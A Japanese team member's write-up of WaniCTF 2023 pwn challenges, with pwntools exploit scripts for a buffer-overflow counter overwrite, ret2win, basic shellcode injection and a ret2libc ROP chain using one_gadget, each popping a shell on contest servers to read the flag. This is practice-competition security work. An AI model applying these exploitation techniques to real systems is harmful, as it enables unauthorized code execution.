WaniCTF 2023 writeup
はじめに
5/4 15:00 ~ 5/6 15:00の期間で行われたWaniCTF 2023にDCDCとして参加し、順位は6位でした。
Pwnしか解いてないし、Pwnもあんまり解けてないです。ずびばぜん゛
Writeup
netcat
「てけいさんやな。任せろ」つって100問解こうとして引っかかりました。よく読んだら3問で良かった。
#!/usr/bin/env python3
from pwn import *
context.log_level = 'critical'
io = remote('netcat-pwn.wanictf.org', 9001)
for _ in range(3):
io.recvuntil(b'+-----------------------------------------+')
io.recvuntil(b'+-----------------------------------------+')
line = io.recvuntil(b'=').decode()[0:-1]
ans = eval(line)
io.sendline(str(ans).encode())
io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')
only once
int main() {
init();
srand((unsigned int)time(NULL));
int x = rand_gen(), y = rand_gen();
int score = 0, chall = 1;
char buf[8];
while (1) {
printf("\n+---------------------------------------+\n");
printf("| your score: %d, remaining %d challenges |\n", score, chall);
printf("+---------------------------------------+\n\n");
if (chall == 0) {
printf("Bye!\n");
break;
}
printf("%3d + %3d = ", x, y);
scanf("%8s", buf);
if (atoi(buf) == x + y) {
printf("Cool!\n");
score++;
} else {
printf("Oops...\n");
score = 0;
}
if (score >= 3) {
printf("Congrats!\n");
win();
}
x = rand_gen();
y = rand_gen();
chall--;
}
return 0;
}
chall
が0になっちゃうので、BOFで書き換えます。
#!/usr/bin/env python3
from pwn import *
context.log_level = 'critical'
io = remote('only-once-pwn.wanictf.org', 9002)
io.sendlineafter(b'=', b'a'*8)
for _ in range(3):
io.recvuntil(b'+---------------------------------------+')
io.recvuntil(b'+---------------------------------------+')
line = io.recvuntil(b'=').decode()[0:-1]
ans = eval(line)
io.sendline(str(ans).encode())
io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')
ret2win
めんどいので全部winのアドレスで埋めました
#!/usr/bin/env python3
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('ret2win-pwn.wanictf.org', 9003)
io.sendlineafter(b') > ', p64(e.sym['win'])*8)
io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')
shellcode_basic
普通にシェルコード送るだけでいいです
#!/usr/bin/env python3
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('shell-basic-pwn.wanictf.org', 9004)
payload = asm(shellcraft.sh())
io.sendline(payload)
io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')
beginners ROP
問題名に見覚えがあったのでやるぞ〜って言って読んでみたら普通にちゃんとROPしなきゃいけなくてちょっと面倒だったのでパス。
別の解いてるうちにpr0が解いてくれました
ret2libc
leakもうされてるし秒で解けるやろつって調子乗ってたら普通にone gadgetの条件ミスって時間溶かしました。rbp-0x78
がwritableじゃなかった。
#!/usr/bin/env python3
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
libc = ELF('libc.so.6')
context.binary = binfile
io = remote('ret2libc-pwn.wanictf.org', 9007)
#io = process('./chall', env={'LIBC_PRELOAD':'./libc.so.6'})
libc_base = 0
while True:
line = io.readline().decode()
if 'TARGET' in line:
libc_base = int(line.split()[2], 16) - libc.sym['__libc_start_main'] - 128 + 176
break
one_gadgets = [0xebcf1, 0xebcf5, 0xebcf8]
pad = pack(e.bss() + 0x78) * 5
rop = ROP(libc)
payload = pad
payload += pack(libc_base + rop.find_gadget(['pop rsi', 'ret']).address)
payload += pack(0)
payload += pack(libc_base + rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address)
payload += pack(0)
payload += pack(0)
payload += pack(libc_base + one_gadgets[2]) # rsi == NULL and rdx == NULL
payload += b'b' * (127 - len(payload))
io.sendlineafter(b' > ', payload)
io.sendline(b'echo shell')
io.recvuntil(b'shell\n')
io.sendline(b'cat FLAG')
print(io.readline().decode(), end='')
おわりに
期間中に解いたのはこれだけですね。glibc 2.35なにもわからない
作問に取り掛からないとヤバイです。
Comments